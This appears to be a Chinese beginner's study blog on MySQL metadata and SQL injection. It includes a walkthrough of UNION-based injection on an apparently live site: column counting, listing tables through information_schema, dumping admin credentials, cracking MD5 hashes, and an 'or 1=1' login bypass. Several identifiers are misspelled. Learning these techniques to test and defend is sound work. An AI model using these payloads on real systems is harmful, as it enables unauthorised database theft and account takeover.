实在忍不住了,就去学了学。。。。
一. mysql简介
结构化查询语言(Structured Query Language.简称:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系型数据库管理系统的标准语言(关系型常见有:MYSQL ACCESS MSSQL orcale ),具有明显的层次结构,即有 库名 表名 字段名 字段内容 就相当于Excel文件一样
1.mysql 元数据库
我们本地启动MySQL服务,就是启动了一个数据库实例,他首先是一个进程管理了一系列的数据库文件。而我们执行create database cmcc_web
这条SQL语句时,才是真正创建一个数据库,他是一堆表的集合,其实也是文件的集合。简而言之,数据库实例就是RDBMS(数据库管理系统),数据库就是Database,Database是存放数据的仓库,RDBMS就是管理仓库的系统。
在MySQL中,每个schema就是对应一个数据库
元数据(meta data)——“data about data” 关于数据的数据,一般是结构化数据(如存储在数据库里的数据,规定了字段的长度、类型等)。所以metadata就是描述数据的数据,在MySQL中就是描述database的数据。有哪些数据库、每个表有哪些表、表有多少字段、字段是什么类型等等,这样的数据就是数据库的元数据。综上,我们可以称information_schema是一个元数据库。那些表名库名,就是存储在其中,它就像物业公司的信息库,对管理的每栋大厦有多少电梯、电梯型号、每个房间的长宽高等等了如指掌。
2.查看mysql
在环境变量中添加mysql的安装目录
其中
table_name 表名 存储在这个字段里
table_schema 这个字段记录数据库所属的名字
conlunms 这张表存储所有字段的名字
conlunms_name 存储字段名
table_name 这个字段所在的表名
table_schema 这个字段所属的库名
MYSQL常用函数与参数
and |or //逻辑运算符 version() //mysql数据库版本 database() //当前数据库名 user() //用户名 current_user() //当前用户名 system_user //系统用户名 @@datadir //数据库路径 @versoin_compile_osi //操作系统版本 length() //返回字符串的长度 substring() //截取字符串 有三个参数 1.截取的字符串 2.截取的 起始位置 3.截取长度 substr() mid()
left() //从左侧开始取指定字符个数的字符串 concat( ) //没有分隔符的连接字符串
concat_ws ( ) // 含有分割符的连接字符串 group_concat( ) //连接一个组的字符串
ord ( ) // 返回ASCII码
hex( ) //将字符串转换为十六进制 unhex() //hex的反向操作 md5() // 返回MD5值 floor(x) //返回不大于X的最大整数 round() //返回参数x接近的整数 unhex ( ) //hex的反向操作 md5() //返回MD5值 floor(x) //返回不大于x的最大整数 round( ) //返回参数×接近的整数 rand () // 返回0-1 之间的随机浮点数 load_file( ) //读取文件,并返回文件内容作为一个字符串 sleep() // 睡眠时间为指定的秒数 if ( true,t,f) // if判断 find_in_set( ) //返回字符串在字符串列表中的位置 benchmark( ) //指定语句执行的次数 name const() //返回表作为结果
逻辑运算:
在SQL语句中逻辑运算与(and)比或(or)的优先级高
二.SQL注入(SQL Injection)
SQL注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击
漏洞原理:针对SQL注入的攻击行为可描述为通过用户可控参数中SQL语法,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
1:程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2:未对用户可控参数进行足够的过滤便将参数内容拼接到进入到SQL语句中。
注入点可能存在的位置
根据SQL注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就说Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,这些地方通常包括:
GET数据
POST数据
HTTP头部(HTTP请求报文其他字段)
Cookie 数据
………
漏洞危害
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
分类:
SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型来看,SQL注入分为数字型和字符型
数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号,双引号包括。
字符型注入正好相反
根据注入手法分类。大致分为以下几个类别。
UNION query SQL injection (可联合查询注入)//能看到数据库的回显
Error-based SQL injection(可报错注入)//能看到数据库的回显
Boolean-based blind SQL injection(布尔型注入 ) //能看到页面的状态
Time – based blind SQL injection (基于时间延迟注入)//能看到页面的状态
Stacked queries SQL injection (可多语句查询注入) 堆积查询,同时执行多条SQL语句
* 注入流程
由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL注入漏洞获取数据库中信息时候,也依据这样的顺序。
首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。
万能密码:
SQL语句: select * from admin where username = ‘or 1=1 — ‘ and password = ‘用户输入的密码’其中or 1=1永远为真,–注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。
三.工具使用
使用一个简单的小工具吧,,名为御剑~~~~~~~~~~
御剑后台扫描工具内置有PHP网站常见的后缀,可以扫描出网站的后台站点
类似这种id =xxx 与 +-1时 出现数据库的交互,说明可能存在注入点
考虑联合查询
如果有报错,那么可以考虑报错注入
于是
给它加一个引号,判断sql语句是字符型还是数字型
其中单引号包括的引号是sql语句错误信息
因为sql语句执行是从第一个字母读到最后一个于是
说明引号之前的语句是没问题的
那么由此可以判断sql语句是数字型的
如何判断是字符型的呢?
例子;
报错为:
其中 “3” 和 上图报错对比 可以判断 这个为字符型
在假设页面在id +-1时没有变化考虑是否有布尔类型的状态
假设他的sql语句为 :select * from xxx where id ={$id}
那么 我们在 id后面加上 and 1=1 或 and 1=2 进行是否存在布尔类型的状态
那么在 1=1时 sql语句执行为真 页面正常加载, 1=2时页面加载不正常,但是没有报错
如果有bool类型状态考虑布尔盲注
另个方法是 and sleep(5) 让页面沉睡5s ,通过F12 Network 判断是否有延迟,有延迟可以考虑 延时注入
只要存在任意一个,就可以判断有注入漏洞
联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL语法中的union select语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。
由于虚拟表是二维结构,联合查询会”纵向”拼接,两张虚拟的表。
实现 跨库跨表查询
*必要条件
@
两张虚拟的表具有相同的列数
因此我们需要查询一下列数,在ID后面加入,obder by +数字 发现在 16的时候出现报错
@
虚拟表对应的列的数据类型相同
*判断字段个数
可以使用[order by]语句来判断当前select语句所查询的虚拟表的列数。[order by]语句本意是按照某一列进行排序,在mysql
中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错。
[order by 1 –+]
lorder by 2 –+]…
[order by 15 –+][order by 16]
得到当前虚拟表中字段个数为15。
判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。
[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15…+]
或者:[?id=33 union select null,null,null,null, null, null, null, null,null,null, null,null, null,null,null….+]
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–+]
[?id=33- union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15…+]
得到结果:
那么将语句改为:
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15
得到了数据库的版本号和数据库名字
由于联合查询可以实现 跨库跨表查询
于是
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables where table_schema = database()
出现报错,查找之后是因为 编码出现了问题 table_name返回的是字符串
如果要变成数字的话,我们可以变为ASCII码,也可以转换成十六进制
使用十六进制:
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables where table_schema = database()
十六进制解码得出
cms_article
但是只能得出第一个表名
于是:
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema = database()
得出所有表名,其中有 user_users这张表 ,管理员账号密码可能存在这张表里
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(colunms_name)),12,13,14,15 from information_schema.colunms where table_schema = database() and tables_name = cms_users(转换为十六进制,避免出现引号)
转码出现:
useried username password
查询:
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users
得到了 账号和 ma5加密后的账号和密码,解密后得到密码
这便是联合查询注入
在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar。
待续。。。。。